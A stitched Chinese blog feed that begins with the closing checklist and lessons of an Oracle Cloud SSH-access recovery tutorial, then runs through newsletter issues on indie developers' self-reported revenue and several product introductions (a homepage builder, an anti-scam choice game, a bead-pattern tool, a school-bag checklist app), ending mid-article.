    没有无意开启长期公网 SSH 密码认证。
    
    已备份新的私钥。
    
    已验证备用 SSH 密钥可以登录。
    
    已核对 Oracle Cloud 里的实例名称和公网 IP。
    
    不再需要 VNC 时,已关闭 Plink 隧道。
    
    已清理不再需要的临时控制台连接。
    
    已完成重要数据和配置备份。
    

    建议至少保存两份独立的 SSH 私钥备份,例如一份放在本机安全存储,一份放在受保护的加密备份中。

    不要将私钥直接提交到 GitHub 仓库,也不要明文保存在网盘共享目录。


    第十四章:最重要的五个经验

    经验一:不要把 OCI 控制台连接密钥当成 Ubuntu 登录密钥。

    它们用于不同的认证环节,不能直接互相替代。

    经验二:看到 Access granted,不代表 Ubuntu 已经成功登录。

    这只说明 SSH 隧道相应阶段的认证成功。

    经验三:不要死磕 GRUB 可视化菜单。

    有些实例会隐藏菜单。只要能进入 grub>,就可以进一步检查手动引导是否可行。

    经验四:每台实例都必须重新读取内核、根分区和 UUID。

    第一台成功的命令,不能直接照搬到第二台。

    经验五:先恢复本机控制台权限,再恢复普通 SSH。

    设置密码和安装 SSH 公钥是两件独立的事,都验证成功,才代表恢复流程真正结束。


    参考资料

    1. Oracle 官方:Troubleshooting Instances Using Instance Console Connections https://docs.oracle.com/en-us/iaas/Content/Compute/References/serialconsole.htm
    2. Oracle 官方:Troubleshooting the SSH Connection https://docs.oracle.com/en-us/iaas/Content/Compute/Tasks/troubleshooting-ssh-connection.htm
    3. Oracle 官方:Linux Boot Volume Recovery https://docs.oracle.com/en-us/iaas/Content/Block/Tasks/recoveringlinuxbootvolume.htm
    4. Ubuntu 社区:LostPassword https://help.ubuntu.com/community/LostPassword
    5. GNU GRUB 官方手册 https://www.gnu.org/software/grub/manual/grub/
    6. TigerVNC 官方项目 https://github.com/TigerVNC/tigervnc

    结语

    Oracle Cloud 免费服务器真正宝贵的,不只是它的免费计算资源,还有里面长期积累的网站、程序、配置和数据。

    丢失 SSH 密钥,确实会让新手觉得服务器已经无法挽回。

    但在仍然拥有 Oracle Cloud 控制台权限、系统启动卷正常、能够访问 GRUB 的情况下,依然可能通过维护模式恢复登录权限。

    这份教程不是简单拼接网上命令,而是根据两台不同配置的 OCI 实例实际恢复经历整理。

    最值得记住的一句话是:不要复制别人的启动参数,要学会从自己的服务器里找到正确参数。

    文档版本:2.0

    实测验证:两台 OCI Ubuntu 实例

    维护:达邦开发

    最后更新:2026 年 10 月

    技术恢复具有风险;使用者应先确认资产授权、数据备份及业务中断影响。不同系统配置下的结果可能不同。

  • 海外赚钱项目观察周报 Vol.02:从首笔付款到客户流失,3 个早期经营信号

    2026年10月26日 · Vol.02|观察窗口:10月19—25日

    本周不做收入排行榜,而是看三种早期经营信号:一个工具出现小额订阅、一个应用得到首位陌生付费用户,以及一笔曾经存在的订阅收入归零。共同的问题是:付费是否真实,能否重复,成本是否可控?

    AI 辅助整理与核验说明:以下金额均来自作者自述,本次未取得支付平台同步记录或完整账单。打开原帖只能确认作者说过什么,不能证明收入真实。MRR 是月经常性收入,不等于利润;首次付款也不自动构成 MRR。本文用于产品经营观察,不提供投资、充值或合作推荐。

    本站原创编辑示意图,不是收入截图或经营证明。

    01|Kivho:$133 MRR,关注用户真正使用的功能

    Reddit 用户 Sandeep0978 称,面向 iOS 开发者的 ASO 工具 Kivho 达到 $133 MRR,新增的 AI 研究功能比他原先重点投入的关键词工具更受关注。原帖没有披露客户数、成本或完整获客路径;官网可确认其应用商店关键词研究定位,不能证实收入。

    值得测试的做法:将每个核心功能的首次使用、再次使用与付费行为分开记录,再访谈实际付费用户。关注度不等于付费贡献,不能只因为某个 AI 功能被讨论得多,就把全部资源转过去。

    成本与风险:数据采购、模型调用和支持成本未披露;排名评分属于产品估计,不能当作应用商店官方搜索量或排名保证。本文没有验证其工具准确性。

    来源:作者复盘〔来源 V02-01〕 · 产品官网〔来源 V02-02〕。核查日期:2026年10月26日。

    02|匿名日记应用:首笔 $3,比三条购买事件更有信息

    Reddit 用户 HistoricalKale9087 称,开发日记应用约六个月后,出现第一位陌生付费订阅者、带来 $3。作者同时说明,后台三条应用内购买中,两条来自赠给朋友的优惠码。原帖未公开产品名、订阅周期、账单或获客渠道,因此不能把三条事件写成三位付费客户,也不能将 $3 写为 MRR。

    值得测试的做法:在后台区分测试、赠送、首付、退款和续费。得到首笔付款后,先确认对方为何付费、是否实际使用,并观察下一周期留存;不急着用一个样本证明需求规模。

    成本与风险:净到账、平台费用和开发者投入未披露,无法判断盈利。日记可能包含敏感个人信息,研究这类产品时应优先考虑本地存储、授权和删除机制,避免收集用户的私密日记来做营销素材。

    来源:作者原帖〔来源 V02-03〕。本篇没有复制原帖截图;截图即使存在,也不等于独立财务核验。

    03|Mailgent:从约 $600 MRR 回到零,大订单意向不等于收入

    Reddit 用户 GiveawayGuy786 称,其外联工具 Mailgent 曾由一位客户贡献约 $600/月,该客户离开后 MRR 归零。一笔约 $3,000/月的代理商洽谈未成交;作者还称曾因支持成本过高退回一笔终身套餐交易。上述均未取得独立账单,潜在订单不能算作已实现收入。

    值得测试的做法:把销售线索、试点、签约、到账与续费分开记。对单客户依赖较强的业务,先检查客户离开的原因与留存,再决定是否扩大获客;不要用未成交的大单掩盖现金流问题。

    成本与风险:终身套餐会把未来服务义务留在当下,需要核算持续支持成本。本案例只讨论客户集中度与套餐经济性,不提供批量骚扰、规避平台限制或抓取个人联系方式的操作。外联产品的使用仍须遵守平台规则、隐私及适用营销要求。

    来源:作者完整复盘〔来源 V02-04〕。未核实产品主体、账单与流失细节,不对其经营状况作独立背书。

    本周适合做分享的三个问题

    • 为什么功能被关注,不等于它推动了付费?用 Kivho 讨论功能使用与付费归因。
    • 为什么后台三条购买事件,可能只有一位陌生付费者?用日记应用讨论测试与真实交易的区别。
    • 为什么谈过 $3,000 月订单,MRR 仍可能归零?用 Mailgent 讨论意向、成交、到账与续费。

    分享时保留“作者自述”和收入口径,不把这些个案改写为可复制收益承诺。它们适合提供问题框架,不足以估计一个细分市场的成功率。

    本周小实验:整理一张真实付费记录表

    如果已有产品,可用一周将授权范围内的交易与使用记录对齐:标记测试或赠送、首付、退款和续费;记录用户实际完成的核心任务与支持时间;在不暴露身份的前提下观察收入是否集中于少数客户。没有付费用户时,先做小范围需求访谈,不靠模拟收入证明产品成立。

    实验目标是找到一个能验证的瓶颈,而不是承诺一周做到某个 MRR。涉及健康、金融、通信等受监管业务,应另行核实资质和适用要求,不能因为海外已有产品就直接照搬。

    来源、时间与审核说明

    本期沿用 Vol.01 的去重记录,未重复其中七个项目。检索结果将本期帖子标注在10月22—23日;原页面相对时间与检索缓存存在差异,未独立确认精确发帖时刻。统一于2026年10月26日打开核查,按发现窗口纳入,不将抓取时间冒充发布日期。

    本次也检索了 X、Hacker News 和 Indie Hackers,但未找到满足本期原文、时效及经营证据要求的新案例,不为覆盖平台而补入旧闻或无出处收入。三个案例均为自述级证据,产品官网只用于确认定位。

    本文配图为本站原创程序绘制,未使用第三方截图或照片。内容已进行夸大收益、诈骗引流、隐私、版权和外链初筛;不含投资邀约、收款、拉群或收益保证。依据包括《网络信息内容生态治理规定》与《人工智能生成合成内容标识办法》,核查日期2026年10月26日。具体站点资质、业务合规与技术标识义务仍需人工确认;编辑初筛不是法律结论,不能保证文章或站点不被反诈系统拦截。

    引用说明:为减少不必要的站外跳转,海外资料仅列来源名称和编号,不在正文提供可点击入口。原始链接及核验清单已另行留存,供编辑复核;国内官方法规链接保留。来源标注不代表对项目收入、主体资质或经营合法性的独立背书。

  • 小主页:让别人用一个链接,了解你能做什么

    有人问你:「有作品可以看看吗?」

    你打开相册,挑几张图;翻出以前做过的项目,补上几句介绍;再发一份服务说明,解释一下报价。聊到最后,对方还要再问一句:「怎么联系你?」

    如果你是一名设计师、摄影师、独立顾问,或者经营着一间小工作室,这样的对话可能并不陌生。

    这些资料都在,只是分散在不同地方。每认识一个新的人,就要重新整理一遍。

    小主页(DADB.CN)想帮你省下的,就是这一遍又一遍的整理。

    把介绍、作品、服务和联系方式放到同一页。下次有人想了解你时,发出一个链接,就有了一个可以慢慢看的入口。

    你负责把事情做好,小主页帮你把它介绍清楚。

    01 · 一张主页,先回答三个问题

    第一次点开你的主页,别人通常想知道的很直接:

    • • 你是谁? 你的身份、擅长的方向,以及你正在做的事。
    • • 你能帮我什么? 你提供哪些服务,有什么作品或案例可以参考。
    • • 接下来怎么联系? 看完以后,在哪里咨询、留下需求或找到你。

    小主页围绕这几个问题组织内容。你可以放上个人介绍、图片和作品链接,补充服务说明、参考价格,再加入微信号、二维码或咨询表单。

    不用一开始就写一份很长的介绍。先让别人看懂你,再逐步补充细节。

    比如,假设你是一位拍摄个人写真的摄影师,可以这样安排:

    开头: 你在哪座城市,主要拍什么风格。

    中间: 几组有代表性的作品,以及拍摄服务的说明。

    结尾: 咨询入口,方便对方告诉你想拍什么、什么时候拍。

    这是一个内容组织示例。换成设计师、手作创作者或咨询顾问,也可以沿用这个思路,把自己的材料填进去。

    02 · 从你想展示的内容开始

    创建主页时,可以从作品、服务或链接这些用途开始,再放入自己的内容。

    想展示作品,就先选出最能代表你的几件。 图片旁边加一点背景:这是一个什么项目,你负责什么,希望别人注意到什么。让作品有说明,也让你的贡献更容易被理解。

    想介绍服务,就把合作前常问的问题写清楚。 服务适合谁、包含什么、有哪些参考价格、如何发起咨询。具体的说明,能让后续沟通有一个共同起点。

    想整理入口,就把常用账号和链接放在一起。 社交账号、内容更新、已有店铺,都可以按自己的重点排列,让访客知道点开后能看到什么。

    内容区块可以排序、隐藏和修改。你也可以调整主题、字体、背景与卡片样式,为已有内容选择合适的外观。

    先把最重要的信息摆好,主页就有了骨架。

    03 · 手机上也能改,准备好了再公开

    主页很少会一次就写完。

    有时是想换一张照片,有时是新增一个案例,也可能只是觉得昨天那句话还不够准确。小主页支持手机编辑,点选内容就能修改,边填边看效果。

    这里有一个很实用的安排:编辑中的草稿,与访客看到的已发布内容分开。

    修改会自动保存为草稿。你确认发布或更新后,新内容才会对外展示;编辑期间,公开页保留上次发布的版本。

    这意味着,你可以先把新作品放进去,慢慢调整说明和顺序。准备好了,再把完整的一版给别人看。

    对于需要持续更新作品和服务的人来说,这样的节奏会从容一些。

    04 · 分享之后,给沟通留一个入口

    发布主页后,你可以复制链接,也可以保存二维码和海报。

    和客户私聊时,发一个链接;需要用图片分享时,带上主页二维码;在线下交流时,也可以让对方扫码查看。根据沟通场景,选择方便的形式就好。

    主页还可以放入咨询表单。访客看完介绍,有意向进一步沟通时,可以留下需求和联系方式。

    收到的咨询会进入后台,你可以查看需求、添加备注、标记跟进状态,并通过站内通知了解新咨询。

    一次提交,是一段沟通的开始。 是否适合合作、预算和时间如何安排,仍然需要你与对方继续确认。主页的作用,是让这些沟通有资料可看,也有入口可走。

    05 · 哪些人可以用起来?

    如果你经常需要向别人介绍自己、展示能力或说明服务,小主页就有一个具体的使用场景。

    • • 设计师、摄影师、插画师: 把代表作品和合作方式整理在一起,发给需要了解你的人。
    • • 独立顾问、知识创作者: 说明专长、服务范围和内容入口,方便读者进一步咨询。
    • • 手作创作者、小工作室: 展示作品或项目案例,补充服务说明和联系方式。
    • • 拥有多个账号的人: 集中整理内容、社交和店铺入口,分享时少发几条消息。

    可以先回想一次最近的对话:当别人问「能介绍一下你在做什么吗」,你通常要发送多少条消息?

    那些反复发送的内容,就是第一版主页的材料。

    06 · 第一版,先放这五样

    不必等所有材料都准备齐。

    先挑出已经能对外展示的内容,做一个简洁、准确的版本:

    1. 1. 一个名字,让别人知道如何称呼你或你的工作室。
    2. 2. 一句介绍,说清你主要做什么,服务什么样的人。
    3. 3. 几件作品或案例,帮助别人理解你的能力和风格。
    4. 4. 一段服务说明,交代合作内容,以及需要提前了解的信息。
    5. 5. 一个联系入口,让感兴趣的人知道下一步怎么做。

    发布前,用手机完整看一遍。介绍是否清楚,作品是否合适,联系方式是否准确?确认以后,再分享给下一个想了解你的人。

    以后有新作品、新服务,或者想换一种表达,都可以继续更新。


    每一份认真做过的作品,都值得有一个清楚的展示位置;每一次新的认识,也值得有一份准备好的自我介绍。

    把反复发送的资料,整理成一张属于你的主页。

    前往 小主页 DADB.CN,从你最想让别人看见的内容开始。

  • 如果人生可以重选

    在《人生岔路口》里,练习做决定

    招聘负责人说,你是今天表现最好的人。

    深夜的直播间里,主播记住了你的名字。

    许久没联系的朋友突然发来消息:有点急事,能不能先帮个忙?

    单独看,每句话都很普通。可当它们出现在你急着找工作、刚结束加班,或担心朋友出事的时候,接下来那个决定,就未必那么容易。

    如果能在真正需要作决定之前,先走一遍这样的故事呢?

    《人生岔路口》(LifeCrossroads)就是围绕这个想法展开的一款网页互动游戏。它把机会、诱惑、信任和压力放进日常情境,让你通过自己的选择,看看故事会走向哪里。

    一个决定,可能改变整个故事。

    01 先进入生活,再面对选择

    在《人生岔路口》里,你会先收到消息、听见对话,再遇到需要回应的时刻。

    求职故事从毕业后的找工作开始。面试顺利,对方态度热情,薪资和福利也颇有吸引力。直到一条新的消息出现:入职前需要参加培训。

    这时,你可以询问培训安排,也可以先报名,或者暂时离开聊天,查看公司的信息。

    选择改变的,既有接下来的剧情,也有你能掌握的信息。

    如果选择查询,你会看到一个模拟的企业信息页面,注意到其中需要进一步核实的细节;如果直接答应,对话则会更快推进到付款要求。故事让“先查一下”成为一个真正需要作出的动作。

    旁白、人物对话、聊天窗口、通知、模拟网页、来电和直播画面,都服务于同一个过程:让玩家沿着信息出现的顺序,作出当下的判断。

    02 三段故事,三种不同的犹豫

    当前版本提供三个可以体验的故事。它们分别从工作机会、娱乐消费和熟人关系切入,每个故事都设置了三类结局。

    一份改变人生的工作

    一份待遇不错的工作,附带住宿和“海外团建”。面试结束后,招聘负责人希望你尽快确认名额,随后提出先交培训费。

    故事的张力来自一个很具体的处境:你已经找了一段时间工作,终于得到认可,又被告知机会即将过期。

    你愿意为这份机会等待多少信息?对方没有回答的问题,会不会因为一句“后面还有很多人排队”而被暂时放下?

    直播间的特别礼物

    周五深夜,你点进一个唱歌直播间。主播热情回应,弹幕气氛很好,一个小礼物也在原本可以接受的范围里。

    随后,PK 开始,倒计时出现。一次支持,逐渐变成“再帮一下”。

    这一关保留了正常娱乐的空间,也把注意力放在消费边界上。 看直播、送礼物本身没有问题;需要重新审视的是,当“被需要”的感觉越来越强,自己的预算是否还在决定消费。

    这也让项目的主题更完整:生活里的风险,除了真假难辨的消息,还包括那些逐渐偏离原本打算的决定。

    突然联系你的老朋友

    熟悉的头像、熟悉的昵称,再加上一件听起来不能耽误的急事,借钱的请求显得顺理成章。

    你可以直接帮忙,也可以问一个只有彼此知道的问题,或者拨打以前保存的号码。

    不同的选择,会让你看到不同的信息。故事把“相信一段关系”和“确认此刻与自己对话的人”放在同一个场景里,让玩家亲自处理这两件事之间的距离。

    03 给“还不知道”留一个结局

    这个项目里,有一个值得多停留一会儿的设计:结局有三类。

    结局类型 故事如何回应你的选择
    更安全的结局 展示守住边界、完成核实等选择带来的结果
    待核实的结局 保留尚未确认的信息,或提示需要继续留意的变化
    风险结局 展示损失、超支等后果,并给出后续说明

    “待核实”给故事留下了必要的余地。

    在老朋友故事里,你可能暂时没有转账,却仍不知道消息是否来自本人;在直播间故事里,你可能已经超支,但开始设置限额。两者都值得继续往下想。

    现实中的判断,也经常停留在这样的中间状态。一个互动故事愿意承认“信息还不够”,玩家便有机会练习:在答案尚未明确时,如何面对自己的犹豫。

    04 通关之后,再回看那个决定

    故事结束后,结局页会列出你刚才选择过的选项。

    这些简短的句子连在一起,就成了这一轮故事的路径:你先相信了什么,接着问了什么,又在哪一步决定继续。

    进入“复盘与建议”,还可以看到两组内容:

    • • 可能被忽略的信号:把散落在消息、对话和页面里的细节重新摆到眼前。
    • • 更安全的做法:围绕同一情境,说明还可以采取哪些行动。

    这让玩家可以沿着自己的经历回看故事。某句催促为什么没有引起注意?某个疑点当时为什么被放到了一边?如果换一个选择,会多知道些什么?

    游戏提供了重新体验的入口。你可以回去走另一条路,对照不同的选择与结果。

    重玩最有意思的地方,是看见自己的判断在什么信息出现后发生了变化。

    05 让进入故事这件事足够简单

    当前版本无需注册登录。打开游戏,从首页点击“开始探索”,选择故事,就能进入体验。

    界面采用手机形态的布局,搭配插画、圆角卡片和蓝色、奶油色的主色调。聊天逐条出现,来电按台词推进,选择则停留在需要你回应的位置。

    已达成的结局、完成次数和线索收集数量保存在当前浏览器的本地存储中。“我的探索”会展示完成进度与部分可解锁徽章,也提供清除本机游戏记录的入口。

    这意味着,记录跟随当前浏览器保存。更换设备或清除浏览器数据后,记录不会自动同步;当前版本也没有跨设备账户体系。

    06 让下一段故事有地方生长

    对于关心实现方式的读者,这个项目还有一个清晰的结构:剧情以数据组织,界面和引擎负责把它呈现出来。

    每个故事通过 JSON 描述场景、选项、线索、结局和复盘内容。运行时负责推进节点、逐条展示消息、记录选择,并把相应场景交给 React 组件渲染。

    项目使用 React、TypeScript、Vite、Zustand 和 Zod;剧情还会经过结构检查,核对节点引用、可达性和结局等内容。当前玩法依靠预先编写的剧情运行,无需在游玩时调用 AI 生成对话。

    新增故事时,可以沿用现有的数据结构和场景组件,让内容扩展有一套共同的表达方式。

    目前,“更多故事”页面里的“小投入”的游戏、海外高薪邀约、网络亲密关系和快递异常等内容,仍属于锁定的预告,尚不能作为已开放关卡体验。


    《人生岔路口》把一个很小的动作放大了:在回应之前,给自己一点思考的时间。

    你可以从那份工作开始,也可以先看看深夜直播间,或者回复那位突然联系的老朋友。先按照直觉走一遍,再换一个选择,看看故事里会多出现什么信息。

    如果人生允许重选一次,你想从哪个决定开始?

    文中故事为虚构互动演练,聊天、网页和付款均为模拟。游戏结果不能预测现实风险,真实情况需要结合实际信息,通过可靠渠道核实。本文依据当前本地代码与运行界面撰写。

    https://life-crossroads-47886.app.workbuddy.host/?sharecode=FDTJWAC5FS

  • 把喜欢的图片,拼成手里的小小作品

    一张猫咪插画,一幅喜欢的头像。
    用 BeadCraft 整理成图纸,给下一次手作准备一个起点。

    有些图片,看见的第一眼就让人想留下来。

    可能是一只圆滚滚的猫咪,一朵向日葵,也可能是自己画的小头像。除了存进相册,还可以给它一种更有触感的保存方式:选好颜色,把一颗颗拼豆排上板子,让屏幕里的图案慢慢出现在手边。

    真正动手之前,往往还有一段准备工作:图片该裁哪一部分?一块板放不放得下?手边没有的颜色怎么办?每种珠子又要准备多少?

    像素拼豆工坊 BeadCraft,就是为这段从图片到手作的过程准备的。

    它在浏览器里完成图片裁剪、颜色简化、材料统计与图纸导出,让你带着一张看得懂的图纸开始制作。

    把喜欢的图片,变成一颗颗可以亲手摆出来的颜色。

    图 1|选好图片、尺寸与用色后,预览和材料清单放在一起,方便边调整边核对。

    01从一张喜欢的图片开始

    进入 BeadCraft,可以点击上传、拖入图片,也可以粘贴剪贴板里的图片。如果暂时没有想好的素材,先选一个内置示例试试:猫咪、柯基、女孩、向日葵或汽车。

    图片载入后,先把注意力放在裁剪上。移动画面、调整缩放,必要时旋转 90°,让最想保留的主体落在方形区域里。

    这一步很影响最后的效果。同样是一张猫咪图片,保留整张场景和只留下猫咪的脸,生成的图纸会很不一样。格子有限,主体越清楚,越容易在少量像素里留下特点。

    第一次尝试,可以选轮廓明确、背景简单的插画或头像,再从默认的 29 × 29 标准单板、12 色上限开始调整。

    02选尺寸,也是在选择这次的工作量

    一件小挂饰和一幅想保留更多细节的图案,需要的格子数并不相同。BeadCraft 提供三种尺寸,可以按这次想做的作品来选。

    板型 格子容量 适合怎样的尝试
    15 × 15 小尺寸 225 格 简单图标、小挂饰、先做一件练手作品
    29 × 29 标准单板 841 格 日常头像、动物插画,兼顾轮廓与制作量
    58 × 58 四板拼合 3,364 格 想保留更多细节,也愿意投入更多材料和时间

    表里的数字是格子容量。如果图案有留空区域,实际需要的珠子会更少,具体用量以生成后的材料清单为准。

    四板模式会在导出图纸上标出分板位置,并为每块板分别列出图例。把一个大图案拆成几块来核对,制作时更容易找到对应区域。

    03按手边的珠子,决定图纸的颜色

    图片里的颜色几乎无穷无尽,收纳盒里的拼豆却是有限的。准备图纸时,能控制用色很实用。

    BeadCraft 当前内置 24 个常用基础参考色,可以设置 8/12/16 色上限,也能单独勾选允许使用的颜色。某种颜色手边没有,就把它取消;生成时,程序会在仍然启用的颜色中重新匹配。

    这里的“12 色”是最多使用 12 种颜色。图案本身比较简单时,最终可能用不到这么多。

    颜色少一些,图形往往更概括,也能减少挑色、换色的负担;颜色多一些,则有机会留下更多层次。可以来回比较,选择自己愿意动手完成的版本。

    材料清单会同时列出色块、名称、参考色号、珠子数量和占比。这样,开始前就能核对库存,避免拼到一半才发现某种颜色不够。

    当前色卡取自 MARD 社区参考表中的 24 个基础色,并非完整色库。屏幕颜色与实物可能存在差异,备料时请核对实际品牌和色号;本项目与 MARD 无官方合作关系。

    04看效果、改细节,再一行一行拼

    生成图纸后,不同阶段需要关注的东西也会变化。BeadCraft 准备了三种查看方式。

    成品预览:先看整体。 圆珠效果可以帮助判断轮廓、配色和主体是否容易辨认。眼睛是不是太浅,背景是不是太抢眼,先在这里看一遍。

    图纸模式:再看细节。 放大之后,可以检查网格、行列位置和颜色编号;遇到想调整的地方,还能单格修正。修改会同步到材料统计和导出图纸,方便在定稿前做小范围打磨。

    跟拼模式:把注意力放在当前行。 当前行会被突出显示,视图随行数移动;配合缩放和拖动,可以逐段核对,减少在整张图纸里反复找位置的负担。

    大图纸放大查看时,固定在容器边缘的坐标轴也能帮助定位。手机屏幕有限,能把当前要拼的区域看清楚,比一直盯着缩小的全图更方便。

    有一个小细节需要分清:格子里的数字是图例序号,购买材料时应看图例中的实际色号。 四板模式按板独立编号,查色时记得对应当前那块板的图例。

    05把图纸带到真正的制作现场

    调整满意后,可以给作品起个名字,再导出高清 PNG 图纸。作品名会出现在图纸上,也会用于文件命名,之后翻找起来更方便。

    导出图纸把网格、行列坐标、图例和材料数量排在一起,适合放在屏幕上照着拼,也可以通过打印功能打开系统打印窗口。

    图 2|内置猫咪示例的实际导出图纸。它用于对照制作,打印时不默认对应实物 1∶1 大小。

    如果这次还没准备动手,记得点击“保存到本地”。保存的内容包括图纸、配置和压缩后的源图,下次在同一浏览器打开时,可以恢复已保存的作品。

    本地保存依赖当前浏览器的数据。换设备不会自动同步,清理浏览器数据也可能移除存档。准备长期保留的作品,可以同时下载一份图纸。

    06图片处理,留在自己的浏览器里

    BeadCraft 是一个纯前端工具。图片解码、裁剪后的采样、颜色匹配和图纸导出,都在本地浏览器中完成,处理图片无需注册账号,也不依赖第三方 AI 图片服务。

    对使用者来说,这意味着可以直接从手边的图片开始,不需要先把个人照片交给云端处理。

    从实现上看,它用 Canvas 处理图像,将颜色转换到 Lab 色彩空间后进行参考色匹配;预览、材料统计与导出,则共同依据同一份格子数据。这样,某个格子改成了什么颜色,用量清单就能跟着更新。

    这些细节最终落在一件很实际的事情上:让画面里的图案、备料时看的数量,以及下载后的图纸保持对应。

    给下一件小作品,一个起点

    拼豆有一种慢慢成形的乐趣。刚开始只是散落的颜色,摆完几行之后,轮廓出现了;再往下,表情和细节也一点点清楚起来。

    BeadCraft 把动手之前的准备步骤整理到了一起:裁出主体,选好尺寸,限定用色,检查图纸,再带着材料清单开始拼。

    打开像素拼豆工坊,先选一张内置示例,或者上传一张你喜欢的图片。用 29 × 29 单板和 12 色上限生成第一版,看看它会变成什么样子。

    下一件放在桌上、挂在包上,或送给朋友的小作品,就从这张图片开始。

    https://beadcraft-29800.app.workbuddy.host/?sharecode=KN5ABITQ3R

  • 书包出发局 BagQuest

    让「书包收好了吗」变成「我自己准备好了」

    「明天的课本带了吗?」
    「铅笔盒放进去没有?」
    「还有水杯,别忘了。」

    孩子上学后,整理书包很容易成为每天重复的一段对话。家长逐件提醒,孩子逐件寻找;有时赶着睡觉或出门,大人干脆接过书包,自己收好。

    可我们也期待着某一天,孩子能主动说一句:

    「我的书包已经准备好了。」

    书包出发局 BagQuest,就是围绕这件日常小事做的一个小工具。 它面向 6—9 岁孩子,把上学物品清单做成一场可以亲手完成的小任务:家长提前设好要带的东西,孩子对照清单,把物品放进真正的书包,再在屏幕上逐一确认。


    从一份自家的清单开始

    整个过程,从一份符合自家需要的清单开始。

    家长可以为物品设置需要携带的星期。例如,水杯每天都带,美术用品只在有美术课的那天出现。临时收到通知,要多带一件东西,也可以添加只对指定日期生效的临时物品,无须改动每周的常备安排。

    这样,孩子打开整理页面时,就能看到这次需要准备什么。

    遇到放假或调课,家长可以手动调整准备日期;目前产品不会自动识别法定节假日和调休。

    先装进书包,再点亮卡片

    接下来,轮到孩子动手。

    先把课本放进书包,再点亮课本卡片;装好铅笔盒,再确认下一项。每完成一步,屏幕上的物品图标会飞向小书包,书包也会给出轻轻回弹的回应。

    进度随着孩子的确认一点点增加,全部完成后,还有一段简短的庆祝。

    这些反馈想表达的意思很简单:

    你刚刚完成了一件事,而且看得见自己的进展。

    操作也尽量保持直接。整张物品卡片都能点击,不用精确对准一个小圆圈;点错了,再点一次就能撤销。整理到一半离开,同一天重新打开,还能接着之前的进度继续。

    孩子先自查,家长再核对

    当然,点亮卡片只是孩子的自我确认。

    BagQuest 无法知道真实书包里有没有放入对应物品,因此页面会提醒孩子先收拾、再点击,也提供独立的家长检查状态。

    孩子完成自查后,家长可以一起做最后的核对;如果之后又增加了物品,原来的检查状态会失效,提醒重新确认。

    我们希望这一步能成为亲子之间逐渐交接责任的机会:

    开始时一起看清单、一起找东西,熟悉之后,让孩子先做,家长再检查。

    给每天的小任务,多一点期待

    为了让每天的小任务多一点期待,BagQuest 也给书包准备了不同的模样。

    孩子可以选择经典糖果、太空探险、森林动物、海洋、恐龙、魔法城堡等主题。换上喜欢的装扮,书包、背景和完成特效也会跟着变化,熟悉的操作位置则保持一致。

    成长页面还会记录整理带来的经验、等级、徽章和纪念品。一周完成三次整理,就能打开当周的小宝箱。

    家长也可以设下一个现实中的小约定,比如完成约定次数后,周末一起去公园,达成后再记录兑现。

    我们希望这些奖励为日常行动添一点乐趣。产品没有把整理速度和排名作为奖励条件,也为漏掉的记录提供了补签方式。

    比起催促孩子更快完成,我们更关心他有没有认真看过清单、动手准备、再检查一次。

    轻一点使用,也说清楚边界

    使用上的负担也尽量小一些。

    BagQuest 当前不需要注册账号,清单和完成记录保存在这台设备的浏览器里,不收集孩子的姓名、学校或位置,也没有接入广告和行为统计。

    它支持添加到主屏幕,并在首次联网加载、完成缓存后离线使用。

    本地保存也有明确的边界: 换设备或清除浏览器网站数据,原来的记录不会自动跟随。目前没有云端同步,家庭使用时需要留意这一点。

    从「提醒他」,到「他准备好了」

    如今,清单配置、整理互动、家长核对、主题换装和成长记录已经在项目中实现。

    它能否让孩子更愿意主动准备、能否减少家长逐项提醒,还需要通过真实家庭的持续试用来验证。

    我们期待看到的变化很具体:孩子知道今天要带什么,愿意自己动手,并能在拉上拉链之前,再检查一遍。

    明天的课本、水杯、铅笔盒,一件件放好。最后背起书包,说一句:

    「我准备好了,可以出发了。」

    https://bagquest.app.workbuddy.host/?sharecode=6J6SGKESAU

  • 海外赚钱项目观察周报 Vol.01:7 个案例,看收入、获客与真实成本

    2026年10月21日 · Vol.01 试刊

    一个发帖工具做到约 4,000 美元月经常性收入,一款 AI 热量记录应用累计毛收入约 2.2 万欧元,却仍然亏损。这一期,我们从七个海外开发者的公开复盘中,观察产品如何收费、用户从哪里来,以及收入背后的成本。

    阅读提示:本文由 AI 辅助整理并核对所列公开页面。OpenTweet 的第三方页面标注了支付数据同步;其他经营数字主要为作者自述,未取得独立账单或完整财务核验。MRR 指月经常性收入,不等于利润;累计收入、充值金额与 MRR 不能直接横向比较。本文是产品与经营观察,不构成投资、加盟或收益承诺。

    本期速览:先看口径,再看数字

    OpenTweet:$4,006 MRR,第三方页面显示 236 个有效订阅,并标注 Paddle API 同步。该页面数据不等于经审计的净利润。

    Hyallo:作者称 9—10 月合计约 $4,000 收入,来自一次性话费充值,MRR 为 $0。

    What The Food:作者称 $157 MRR、17 个付费订阅;自然流量和免费用户较多,付费转化仍弱。

    TaleTok:作者称 $1,500 MRR,最初 20 个订阅来自 Reddit,后续重点改进留存和首次体验。

    匿名 B2B AI SaaS:作者称约六个月内从 $400 增至 $3,500 MRR;产品身份和财务数据未独立确认。

    AutoAIShorts 开发者的多个应用:作者称合计 $354 MRR、50 个有效订阅,不能当成单款产品的数据。

    匿名 AI 热量记录应用:作者称约 $2,200 MRR,但累计经营结果约亏损 €5,800;这个案例更适合讨论成本。

    本站原创编辑示意图,不是项目经营数据或收入证明。

    01|OpenTweet:把个人需求做成持续收费的工作流

    OpenTweet 围绕 X 内容排期与发布提供服务,支持 API、MCP 等接入。产品的价值在于让内容进入可管理的发布流程,而不只生成一段文字。

    创始人在复盘中说,最初只是为自己解决发帖问题,后来让朋友试用,再逐步吸引付费用户。他提到的增长动作包括:将新用户入门价格从约 $11 调至 $19、增加 SEO 与 AI 搜索相关页面,以及持续与用户沟通。

    核查时,TrustMRR 页面显示 $4,006 MRR、236 个有效订阅,并标注通过 Paddle API 验证,页面更新时间为 2026 年 10 月 21 日。创始人帖子中的约数与第三方页面存在差异,本文保留各自口径,不把订阅人数等同于独立客户数,也不把收入当作利润。同步记录仍不能核实全部成本、获客成效或法律合规。

    可借鉴点:围绕一个反复发生的任务,把生成、审核、排期和执行串起来,更容易解释持续收费的理由。涨价与增长同时发生,并不能证明涨价本身造成了增长。

    风险:产品依赖外部平台接口与政策;平台成本、权限和账号安全都可能改变经营结果。

    来源:创始人 Reddit 复盘〔来源 V01-01〕 · TrustMRR 数据页面〔来源 V01-02〕 · 产品网站〔来源 V01-03〕

    02|Hyallo:收入集中时,产品需求仍需验证

